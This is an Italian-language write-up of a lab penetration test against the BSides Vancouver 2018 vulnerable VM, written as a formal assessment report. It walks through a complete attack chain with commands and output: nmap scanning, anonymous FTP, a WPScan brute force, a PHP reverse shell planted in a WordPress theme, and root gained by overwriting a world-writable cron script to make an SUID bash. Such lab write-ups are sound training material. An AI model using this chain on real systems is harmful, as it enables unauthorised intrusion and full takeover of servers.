Extra S6-L5

Penetration Testing: Assessment BlackBox (Internal Threat)

Target: Server "BSides Vancouver 2018"
Metodologia: BlackBox (Zero-Knowledge)
Obiettivo: Ottenimento privilegi massimi (Root) esplorando percorsi multipli.

Scenario

L'attività è stata condotta simulando uno scenario di attacco interno (Internal Threat) in cui un utente malevolo o un dispositivo compromesso tenta di scalare i privilegi all'interno della rete aziendale. In conformità con le regole d'ingaggio **BlackBox**, il test è iniziato senza alcuna informazione preliminare sull'architettura o sulle configurazioni del bersaglio. L'obiettivo primario di ottenere il controllo totale (Root) è stato raggiunto, identificando ed esplorando con successo le vulnerabilità presenti.

1. Infiltrazione e Scoperta del Bersaglio

L'attività di assessment è iniziata in un contesto di totale assenza di informazioni (BlackBox), simulando lo scenario in cui un dispositivo non autorizzato (Rogue Device) viene fisicamente o logicamente connesso alla rete interna dell'infrastruttura aziendale.

Il primo passaggio operativo è consistito nell'identificazione delle coordinate di rete del dispositivo attaccante. Interrogando le interfacce di sistema tramite il comando **ip a**.
È stato verificato che al dispositivo era stato assegnato dinamicamente l'indirizzo IP **192.168.56.102.**

Nota la sottorete di riferimento, è stata avviata una scansione di "Host Discovery" per mappare i dispositivi attivi, adottando un approccio a basso rumore (**ping sweep**) per limitare le possibilità di rilevamento con **nmap -sn 192.168.56.0/24**

```
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.56.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-10 07:28 -0400
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or spec
ify valid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.00019s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00013s latency).
MAC Address: 08:00:27:6E:7C:87 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00019s latency).
MAC Address: 08:00:27:BD:A0:A5 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.38 seconds
```

Questa operazione ha rivelato la presenza di un host bersaglio all'indirizzo **192.168.56.101**. Successivamente, è stata condotta un'analisi approfondita (Port Scanning e Service Enumeration) per delineare la superficie d'attacco del target.

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- -sV -sC -A 192.168.56.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-10 07:35 -0400
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or spec
ify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.56.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|   2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_  256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:BD:A0:A5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

I risultati della scansione hanno evidenziato la presenza dei seguenti servizi: un server FTP obsoleto (porta 21), un demone SSH (porta 22) configurato per accettare esclusivamente l'autenticazione tramite chiavi crittografiche, e un server Web Apache (porta 80) ospitante un'installazione del CMS WordPress.

2. Ricognizione ed Enumerazione dei Servizi

Data la robustezza del servizio SSH (configurato per l'accesso esclusivo tramite chiavi), l'attenzione è stata rivolta al servizio FTP. È stata riscontrata la possibilità di un accesso "anonymous". All'interno della directory **public**, è stato rinvenuto e scaricato il file di backup **users.txt.bk**.

```
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPd 2.3.5)
Name (192.168.56.101:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -R
229 Entering Extended Passive Mode (|||30998|).
150 Here comes the directory listing.
drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls -R
229 Entering Extended Passive Mode (|||62037|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0              31 Mar 03  2018 users.txt.bk
226 Directory send OK.
ftp> get users.txt.bk
local: users.txt.bk remote: users.txt.bk
229 Entering Extended Passive Mode (|||29126|).
150 Opening BINARY mode data connection for users.txt.bk (31 bytes).
100% |***************************************************************|    31      630.69 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (72.07 KiB/s)
```

Il download e l'analisi di tale file hanno esposto informazioni sensibili, fornendo una lista di nomi utente validi per il sistema.

```
┌──(kali㉿kali)-[~]
└─$ ls
Desktop            gameshell.sh    Pictures                 scansione_nmap.txt.nmap  utenti_fast.txt
Documents          gameshell.sh.1  Public                   scansione_nmap.txt.xml   Videos
Downloads          Music           scansione_nmap.txt       Templates
gameshell-save.sh  pass_fast.txt   scansione_nmap.txt.gnmap users.txt.bk

┌──(kali㉿kali)-[~]
└─$ cat users.txt.bk
abatchy
john
mai
anne
doomguy
```

3. Accesso Iniziale tramite WordPress

L'analisi si è spostata sulla pagina web ospitata all'indirizzo http://192.168.56.101/backup_wordpress/. Sebbene il sito apparisse parzialmente disfunzionale, l'osservazione della homepage ha fornito un indizio critico per il successo dell'operazione. Sulla pagina era infatti riportato il seguente avviso:

*"A new blog is being set up, all current posts will be migrated. For any questions, please contact IT **administrator John**"*

Questo messaggio ha permesso di identificare **John** come il profilo di maggiore interesse: non solo il nome era presente nella lista utenti recuperata via FTP, ma veniva esplicitamente indicato come l'amministratore IT del sistema.

Confermato il target, è stato lanciato un attacco di tipo Brute Force contro il pannello di login di WordPress utilizzando il tool **WPScan** e la wordlist **rockyou.txt**:

```
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.56.101/backup_wordpress/ -U john -P /usr/share/wordlists/rockyou.txt --no-updat
e
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __   ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.56.101/backup_wordpress/ [192.168.56.101]
[+] Started: Fri Apr 10 08:29:14 2026
```

```
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - john / enigma
Trying john / enigma Time: 00:04:06 <                                  > (2515 / 14346907)  0.01%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: john, Password: enigma

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Apr 10 08:33:29 2026
[+] Requests Done: 2655
[+] Cached Requests: 38
[+] Data Sent: 1.399 MB
[+] Data Received: 1.6 MB
[+] Memory used: 320.012 MB
[+] Elapsed time: 00:04:15
```

Il reperimento delle credenziali corrette (**john / enigma**) ha permesso l'accesso amministrativo al CMS. Sfruttando l'editor dei temi di WordPress, è stato modificato il file *404.php* iniettando una **PHP Reverse Shell**. Innescando il payload tramite browser e mantenendo un listener attivo sulla macchina attaccante (**nc -lvnp 4444**), è stata ottenuta con successo una shell interattiva con l'utente limitato **www-data**.

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 41455
Linux bsides2018 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 athlon i386 GNU/Linux
 05:56:34 up  1:38,  0 users,  load average: 0.00, 0.04, 0.31
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ^H^Hpython -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 1python: not found
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bsides2018:/$
```

4. Privilege Escalation

Una volta all'interno del sistema, l'obiettivo si è focalizzato sull'ottenimento dei privilegi di Root. L'esplorazione del file system ha rivelato almeno una strada per la compromissione totale, portando anche all'identificazione di esche intenzionali.

Identificazione del "Rabbit Hole" e Sfruttamento del Cron Job (Vettore principale)

Durante la prima fase di enumerazione interna, la lettura del file *wp-config.php* ha esposto la password del database salvata in chiaro (**thiscannotbeit**). Ipotizzando il riutilizzo delle password, è stato tentato un movimento laterale verso l'amministratore di sistema (**su john).** L'autenticazione ha tuttavia restituito un errore (*Authentication failure*).

Questo ha permesso di classificare la password esposta come una **falsa pista (rabbit hole / esca intenzionale)** predisposta per rallentare l'analisi. Scartato questo vettore, l'attenzione si è concentrata sui task automatizzati.

```
www-data@bsides2018:/$ cat /var/www/backup_wordpress/wp-config.php
cat /var/www/backup_wordpress/wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp');

/** MySQL database username */
define('DB_USER', 'john@localhost');

/** MySQL database password */
define('DB_PASSWORD', 'thiscannotbeit');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

Attraverso l'ispezione del file **/etc/crontab**, è stata rilevata un'attività pianificata eseguita da root con cadenza minuziale: il comando **/usr/local/bin/cleanup**.

```
www-data@bsides2018:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /usr/local/bin/cleanup
#
www-data@bsides2018:/$
```

Un controllo sui permessi ha evidenziato una grave configurazione errata: il file risultava scrivibile da qualsiasi utente sul sistema.

```
www-data@bsides2018:/$ ls -l /usr/local/bin/cleanup
ls -l /usr/local/bin/cleanup
-rwxrwxrwx 1 root root 64 Mar  3  2018 /usr/local/bin/cleanup
www-data@bsides2018:/$
```

Il contenuto dello script è stato quindi sovrascritto per generare una shell con bit SUID attivo.

Al termine del ciclo di esecuzione del sistema, è stato possibile lanciare il binario precedentemente predisposto (/tmp/rootbash -p), ottenendo l'accesso definitivo come **Root**.

```
www-data@bsides2018:/$ echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /usr/local/bin/cleanup
<sh; chmod +s /tmp/rootbash" > /usr/local/bin/cleanup
www-data@bsides2018:/$ ls -l /tmp/rootbash
ls -l /tmp/rootbash
-rwsr-sr-x 1 root root 920788 Apr 10 06:14 /tmp/rootbash
www-data@bsides2018:/$ /tmp/rootbash -p
/tmp/rootbash -p
rootbash-4.2# whoami
whoami
root
```

A conferma definitiva dell'avvenuta compromissione, è stata esplorata la directory di pertinenza dell'amministratore, rinvenendo il file di verifica finale:

```
rootbash-4.2# ls -la
ls -la
total 40
drwx------  3 root root 4096 Mar  7  2018 .
drwxr-xr-x 23 root root 4096 Mar  3  2018 ..
-rw-------  1 root root 2147 Mar  7  2018 .bash_history
-rw-r--r--  1 root root 3106 Apr 19  2012 .bashrc
-rw-------  1 root root  417 Mar  7  2018 .mysql_history
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
drwx------  2 root root 4096 Apr 10 04:18 .pulse
-rw-------  1 root root  256 Mar  3  2018 .pulse-cookie
-rw-r--r--  1 root root   66 Mar  3  2018 .selected_editor
-rw-r--r--  1 root root  248 Mar  5  2018 flag.txt
rootbash-4.2# cat flag.txt
cat flag.txt
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17
```

La lettura del file **flag.txt** ha restituito il messaggio di congratulazioni che attesta inequivocabilmente l'acquisizione dei massimi privilegi di sistema.

5. Conclusioni

L'assessment ha confermato che la sicurezza del server risultava compromessa da una catena di negligenze, sebbene presentasse alcuni tentativi rudimentali di depistaggio (l'esca nel database). La combinazione di informazioni pubbliche (la homepage) e gestione errata dei permessi di sistema ha permesso di identificare l'amministratore (John), violarne l'account tramite password debole ("enigma") e infine assumere il controllo totale della macchina aggirando la falsa pista e sfruttando un task pianificato insicuro. Il recupero del file flag.txt testimonia il totale fallimento delle difese perimetrali e interne della macchina.